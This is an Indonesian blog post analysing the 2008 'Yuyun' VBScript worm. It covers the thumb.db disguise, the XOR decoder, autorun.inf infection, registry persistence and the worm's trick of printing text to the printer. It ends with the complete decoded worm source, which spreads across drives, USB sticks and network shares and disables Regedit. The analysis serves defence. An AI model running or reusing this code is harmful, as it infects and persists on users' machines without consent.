Selasa, 23 November 2010

Virulogi : Yuyun – virus printer


Ada-ada saja ulah virus jenis script.  Salah satunya ada yang mempunyai hobi mencetak data ke printer. Virus script tersebut bernama Yuyun. Virus ini dibuat oleh seseorang di Jatim sekitar november 2008.  Informasi ini terlihat pada badan Virus yang telah di-decode. 
Virus skrip ini tidak berekstensi VBS, jadi tidak dapat diaktifkan secara langsung oleh pemakai. Virus diaktifkan dengan cara dijalankan secara tidak langsung dengan command line.   Apa saja yang dilakukan oleh virus ini ? Tulisan ini akan mengulasnya.

Kamuflase Thumb.db

Dalam menyebarkan dirinya virus akan memakai file yang bernama thumb.db. Nama ini sengaja dipakai untuk membingungkan pemakai dengan file system Windows yang bernama thumbs.db.  Perhatikan, secara cerdik virus menghilangkan huruf S pada nama file thumbs.db.
Sekadar info, file thumbs.db akan  dibuat oleh Windows, jika kita memakai mode thumbnail  untuk melihat gambar dalam Windows Explorer. File thumbs.db berisi  preview gambar yang “dikecilkan”, sehingga mempercepat akses Windows dalam melihat preview gambar secara thumbnail. File ini sifatnya hidden dan system.  Jadi tidak akan telihat secara standar dengan Windows Explorer.
File thumb.db virus ini, jika ditelaah lebih lanjut sebenarnya dapat dibagi menjadi dua bagian utama.  Bagian pertama adalah bagian decoder dan bagian lainnya adalah inti virus yang telah dienkrip.    Hal ini lazim ada pada virus jenis script yang dienkrip datanya.  Bagaimanapun virus tetap membutuhkan data-data non-enkripsi agar dapat dijalankan. Oleh karna itu dapat dipastikan bahwa program decodernya pasti ada dalam tubuh virus.

Decoder virus

Jika kita buka file thumb.db,  data yang terlihat akan sangat membingungkan.  Namun jika dicermati, akan terlihat  penggalan program yang berguna sebagai decoder.    Bagian decoder ini berada di bagian awal program dan  berakhir sebelum baris program : 

' Yuyun^_^~!~2008 >>> :::::::::::::::::::::::::::::::::::::::::::::::::::::::

Baris program tersebut dipakai oleh virus ini sebagai penanda (marker) bahwa badan program asli virus yang harus didecoder berawal dari bagian ini.  Bagian inti dari decoder adalah seperti terlihat pada petikan listing skrip berikut.

t1=InStr(1,isiQ,"Yuyun^_^~!~2008"+" >>>",0)+18
isiQ=Right(isiQ,Len(isiQ)-t1)
hsl=""
For v=1 To Len(isiQ)
t=Asc(Mid(isiQ,v,1))
hsl=hsl+Chr(t Xor 7)
Next

Terlihat bahwa Virus memakai teknik encoding dengan mengubah data menjadi karakter ASCII (dengan perintah ASC) yang kemudian di XOR 7. 
Untuk dapat membaca badan virus secara riil, maka  Anda dapat harus dapat melewatkan data enkripsi virus ke rutin tersebut.

Data enkrip virus

Pada  file thumb.db, letak data inti virus yang terenkripsi,  di awali dengan data :

' Yuyun^_^~!~2008 >>> :::::::::::::::::::::::::::::::::::::::::::::::::::::::

Program decoder Virus, pada saat bekerja, akan mencari penanda tersebut dan melompat menuju data virus real sepanjang data marker tersebut.  Hal tersebut terlihat dari baris perintah decoder  :

t1=InStr(1,isiQ,"Yuyun^_^~!~2008"+" >>>",0)+18

Petikan awal listing data enkripsi Virus  adalah sebagai berikut :

' Yuyun^_^~!~2008 >>> :::::::::::::::::::::::::::::::::::::::::::::::::::::::
'J~'ifjb'='^r~ri'Qbu'6)7
'N'mrts'pfiif'tbb'bqbu~'`nuk'khhlt'indb+'ebssbu+'lnict'btwbdnfkk~'f'jhtkbj'`nuk

Dan seterusnya sampai akhir file.

Anda dapat melihat file asli virus (thumb.db) pada CD.  Selain itu, Anda dapat melihat file asli virus yang telah berhasil di-decoder.  Dengan  melihat  file hasil “terjemahan” tersebut, maka kerja dan manipulasi virus akan jelas terlihat.

File-file yang dibuat

Virus ini, karena tidak berekstension VBS, maka tidak akan aktif jika file langsung diklikganda oleh pemakai.  Virus diaktifkan secara tidak langsung dengan command line  dengan bantuan file penjalan script milik Windows (wscript.exe).
Tanda awal penyerangan, tiba-tiba muncul pesan bahwa ada file-file yang siap dibakar (burn) ke CD.  Pesan ini muncul karena virus telah mengkopikan dirinya ke folder CD Burning milik Windows.  Dengan trik ini, jika pemakai ceroboh  saat membakar data ke CD, maka virus akan ikut terkopi.
Saat diaktifkan virus akan mencari keberadaan file yang benama Yuyun.Q di folder temporary windows  (TEMP).  Jika tidak ditemukan maka ia akan membuat salinan dirinya di bagian ini. (file autorun.inf, file thumb.db plus beberapa shortcut).  Kedua file tersebut,  akan dikopikan ke flashdisk bilamana memungkinkan.  Isi file autorun.inf  virus adalah sebagai berikut :

[autorun]
open=WScript.exe //e:VBScript thumb.db auto
shell\open=Open
shell\open\Command=WScript.exe //e:VBScript thumb.db auto
shell\open\Default=1
shell\explore=Explore
shell\explore\Command=WScript.exe //e:VBScript thumb.db auto

Virus juga akan menginfeksi setiap folder yang ada dengan kedalaman tertentu, dengan mengkopikan file autorun.inf, file thumb.db dan  beberapa shortcut dengan nama yang acak.
Selain itu, ia akan mengopikan dirinya sendiri di My Documents dengan nama database.mdb. 


Subrutin yang dipakai

Dalam bekerja Virus akan memakai beberapa subrutin dan fungsi, diantaranya adalah :
•    Sub rekursif digunakan untuk melakukan proses rekursi dalam mencari data folder dan subfolder.
•    Sub dropf  digunakan untuk membuat file yang benama Baca AQ.rtf dan My name is Yuyun.rtf.  Subrutin  ini juga akan membuat file autorun.inf dan thumb.db.  Subrutin  ini juga bertugas untuk membuat file shortcut dengan beberapa nama data acak seperti : New Harry Potter and..., New Folder, SuratQ, Rahasia, Game, Zvnita, Download, DataQ.
•    Sub shorZvnita digunakan untuk membuat file shortcut
•    Sub tdr digunakan untuk menunda proses virus sehingga memberikan kesempatan pada komputer untuk “bernafas”.
•    Sub Hertz digunakan untuk proses rekursi dan menentukan kedalaman infeksi pada folder.
•    Fungsi UNISKA, digunakan untuk membuat file teks dengan pesan sok moralis dan agamis, yang pada akhirnya dengan bantuan program Notepad, file tersebut akan dicetak ke printer setiap tanggal 1 dengan  bulan aktif  dibagi dengan  modulo 3.


Manipulasi Registry

Seperti kebanyakan skrip nakal lainnya, virus ini akan memanipulasi beberapa lokasi Registry. Diantaranya adalah :
•    Membuat suatu CLSID pada lokasi :
 HKCR\CLSID
Dengan nama CLSID-nya adalah :
{11111111-2222-3333-4444-555555555555}
Dengan data  :
    Yuyun_Cantix.
Pada akhirnya CLSID tersebut dijadikan suatu desktop namespace.
•    Virus akan menghapus data HKCR\lnkfile\IsShortcut. Dengan dihapusnya bagian ini, maka tanda panah shortcut pada icon akan hilang.  Trik ini  akan mengecoh pemakai, yang tidak akan mengira bahwa file atau data yang terlihat sebenarnya adalah shortcut pemicu program virus.
•    Membuat Autorun di registry dengan nama Explorer dan data yang diaktifkan adalah file database.mdb, yang berada di My Documents, yang sebenarnya telah dimodifikasi dengan file virus.
•    Virus akan mematikan akses ke program Regedit. Dengan cara ini, pemakai tidak akan dapat memperbaiki Registry.
•    Akan dibuat suatu file Stream dengan nama Microsoft Office Update for Windows XP.sys.  Pada akhirnya file tersebut dipasangkan ke key Autorun Registry dengan nama WinUpdate

Bagaimana cara melakukan decoding data ?

Algoritma decoding data adalah sebagai berikut :
•    Penggal file asli menjadi dua bagian sebatas file decoder dan file enkripsi.
•    Simpan file decoder dengan nama D.VBS (misalnya). 
•    Simpan file penggalan yang berisi data enkripsi menjadi file txt dengan nama E.TXT (misalnya). 
•    Lalu modifikasi file D.VBS agar dapat membaca file E.TXT dan menyimpan hasil pembacaan tersebut ke suatu file teks (atau vbs) lainnya dengan nama O.TXT (misalnya). 
•    Saat D.VBS dijalankan, data asli virus yang terenkripsi akan “dinormalkan” dan disimpan di  file O.TXT. 

Itu algoritmanya.  Implementasi skripnya silahkan bereksperimen sendiri.  Biar kreatif. !



Berbahaya ?

Meskipun virus ini termasuk jinak dan tidak berbahaya, karena tidak melakukan pengrusakan data, tetap saja ia akan mengganggu sistem komputer dengan memakan resources komputer yang berharga, dan memakan tempat pada harddisk dengan menggandakan dirinya pada folder dan drive. Juga, ia mempunyai efek yang menjengkelkan, dengan terkadang mencetak data  ke printer. 
Untuk melumpuhkan virus ini, Anda dapat memakai program AntiVirus yang sudah mengenali virus Yuyun ini.  Atau dapat memanfaatkan anti virus script seperti : CyberSufi No Script (download di : www.cybersufi-online.co.cc). 


Gambar dan keterangan


File virus yuyun dengan nama thumb.db dilihat dengan notepad.exe


Bagian yang diblok adalah Marker virus sebagai awal data asli yang dienkripsi


Hasil decoding virus yuyun


Aktifnya virus ditandai dengan munculnya pesan,  ada file yang harus dibakar ke CD.


File virus thumb.db dan autorun.inf siap dikopi ke cd


Proses virus aktif ditandai dengan munculnya wscript.exe  aktif di memory


Membuat file thumb.db autorun.inf dan dua shoutcut pemicu virus (Microsoft dan New Folder) pada setiap folder yang ada dengan kedalaman tertentu.


Isi shortcut berisi command line yang mengaktifkan virus


Membuat file virus database.mdb di my documents



Membuat file-file virus di folder temporary  (\windows\temp).


Membuat key baru dengan nama winupdate di autorun registry sehingga virus akan aktif setiap kali Windows dihidupkan.


Membuat key baru dengan nama Explorer di autorun registry sehingga virus akan aktif setiap kali Windows dihidupkan.


Virus juga menyerang flashdisk dan mengkopikan file thumb.db dan autorun.inf


Folder pada flashdisk tidak luput dari infeksi


Listing program virus hasil decoding


' My name : Yuyun Ver 1.0
' I just wanna see every girl looks nice, better, kinds especially a moslem girl
' by: Anonymouse in Jatim, November 2008
' When I found nothing beauty else... and then I wrote this script for all
'=======================================================
On Error Resume Next
Dim fso, ws, status,status1, fly
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
fly=false
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("MyDocuments")

Set swt=WScript.Arguments
If swt.Count>0 Then
    status=swt(0)
End If
if fso.fileexists(tmp+"\Yuyun.Q") then
    set ira=fso.getfile(tmp+"\Yuyun.Q")
    ira.attributes=0
    ira.name="shalihah.ira"
    if ira.name="shalihah.ira" then
    ira.name="Yuyun.Q"
    set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
    else
    fly=true
    end if
else
    set ira=fso.opentextfile(tmp+"\Yuyun.Q",2,true)
end if
Set AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+"\auto.exe"
If Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv)
auto.attributes=0

Set aut=fso.OpenTextFile(anv,2,True,0)
isi="[autorun]>open=WScript.exe //e:VBScript thumb.db auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript thumb.db auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe //e:VBScript thumb.db auto"
isi=Replace(isi,">",vbCrLf)
aut.Write isi
aut.Close
auto.Attributes=39

ltkc=sh.Namespace(&H1c&).Self.path + "\Microsoft\CD Burning"
AQ.Copy ltkc+"\thumb.db",True
auto.Copy ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\database.mdb") Then fso.GetFile(docx+"\database.mdb").Attributes=0
AQ.Copy docx+"\database.mdb",True
regQ
Set rara=UNISKA
Hertz False
If Day(Now)<>3 Then rekursif docx,1 Else rekursif docx,3

call attack_net
Hertz True

Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+"\").SubFolders
    rekursif fldr1.Path, dp-1
Next
End If
End Sub

Sub dropf(path)
On Error Resume Next
if day(now)=1 and (month(now)mod 3)=1 then
rara.copy path+"\Baca AQ.rtf"
rara.copy path+"\My name is Yuyun.rtf"
end if

g1=path+"\autorun.inf"
g2=path+"\Thumb.db"
If fso.FileExists(g1) Then
    Set g11=fso.GetFile(g1)
    If g11.Attributes<>39 Then
        g11.Attributes=0
        auto.Copy path+"\autorun.inf",True
    end if
else
    auto.Copy path+"\autorun.inf",True
end if


If fso.FileExists(g2) Then
    Set g12=fso.GetFile(g2)
    If g12.Attributes<>39 Then
        g12.Attributes=0
        AQ.Copy path+"\Thumb.db",True
    end if
else
    AQ.Copy path+"\Thumb.db",True
End If

If Not fso.FileExists(path+"\Microsoft.lnk") Then
shorZvnita path+"\Microsoft","Microsoft"
drop=Array("New Harry Potter and...","New Folder","SuratQ","Rahasia","Game","Zvnita","Download","DataQ","DataQ")
ww=1
For Each d In drop
    If Day(now) Mod 3 = ww Then shorZvnita path+"\"+d,d
    wscript.sleep 60
    ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+"\").SubFolders
    shorZvnita path+"\"+fldr.name,fldr.Name
    wscript.sleep 60
If r>3 Then
    Exit For
End if
r=r+1
Next
End If
End Sub

Sub shorZvnita(path,trgt)
Set shor=ws.CreateShortcut(path+".lnk")
shor.iconlocation="shell32.dll,3"
shor.targetpath="wscript.exe"
shor.arguments="//e:VBScript thumb.db """+trgt+""""
shor.save
End Sub

function attack_net()
    On Error Resume Next
    err.clear
    Set objFolder = sh.Namespace(&H13&)
    Set colItems = objFolder.Items
    For Each strFileName in objFolder.Items
    t= objFolder.GetDetailsOf(strFileName, 14)
    if fso.folderexists(t) then
        rekursif t,4
    end if
    Next
End function

Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub

function UNISKA()
On error resume next
x=vbcrlf
adv="Yuyun Ver 1.0 ^_^!==================>>Bukan dari tulang ubun ia dicipta>karna berbahaya membiarkannya dalam sanjung dan puja>tak juga dari tulang kaki>karna nista membuatnya diinjak dan diperbudak>tapi dari tulang rusuk bagian kiri>dekat ke hati untuk disayangi>dekat ke tangan untuk dilindungi>>(dikutip dr: Agar Bidadari Cemburu Padamu)>>>""Janganlah kamu bersikap lemah, dan janganlah (pula) kamu bersedih hati, padahal kamulah>orang-orang yang paling tinggi (derajatnya), jika kamu orang-orang yang beriman."">(QS. Ali Imran:139)>>>Katakanlah kepada orang laki-laki yang beriman: ""Hendaklah mereka menahan pandanganya, >dan memelihara kemaluannya; yang demikian itu adalah lebih suci bagi mereka, >sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat."" (QS. An Nur:30)>>Katakanlah kepada wanita yang beriman: ""Hendaklah mereka menahan pandangannya, >dan kemaluannya, dan janganlah mereka menampakkan perhiasannya, kecuali yang >(biasa) nampak dari padanya. Dan hendaklah mereka menutupkan kain kudung >kedadanya...."" (QS. An Nur:30)>>Sorry I just Nitip Print thok....Ndak pa2 khan^_^!  www.muslimah.or.id >>Hai anak Adam, sesungguhnya Kami telah menurunkan kepadamu >pakaian untuk menutup auratmu dan pakaian indah untuk perhiasan.>Dan pakaian takwa itulah yang paling baik. Yang demikian itu adalah >sebahagian dari tanda-tanda kekuasaan Allah, mudah-mudahan mereka selalu ingat.(Al-A'raf:26)"

adv=replace(adv,">",x)
set Yu2n=fso.opentextfile(tmp+"\v.doc",2,true)
Yu2n.write adv
Yu2n.close
if day(now)=1 and (month(now)mod 3)=1 then
if fly=false then
for i=1 to 3
ws.run "notepad.exe /p """+tmp+"\v.doc"""
next
end if
end if
set UNISKA=fso.getfile(tmp+"\v.doc")
end function

Sub regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\", "Yuyun_Cantix"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\","shell32.dll,48"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes",0,"REG_DWORD"
ws.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\",""
end if
ws.regdelete "HKCR\lnkfile\IsShortcut"
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Explorer","Wscript.exe //e:VBScript """+docx+"\database.mdb"""
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools",1,"REG_DWORD"
if lcase(fso.getdrive("c:").FileSystem)="ntfs" then
iraQ=AQ.openastextstream(1,0).read(AQ.size)
www=fso.GetSpecialFolder(0)
set jjk=fso.opentextfile(www+"\:Microsoft Office Update for Windows XP.sys",2,true)
jjk.write iraQ
jjk.close
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","Wscript.exe //e:VBScript """+www+"\:Microsoft Office Update for Windows XP.sys"""
end if
End Sub

Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4
Else
rekursif drv.Path,2
End if
Next
if fly=false then
tdr
else
wscript.quit
end if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub

Tidak ada komentar:

Posting Komentar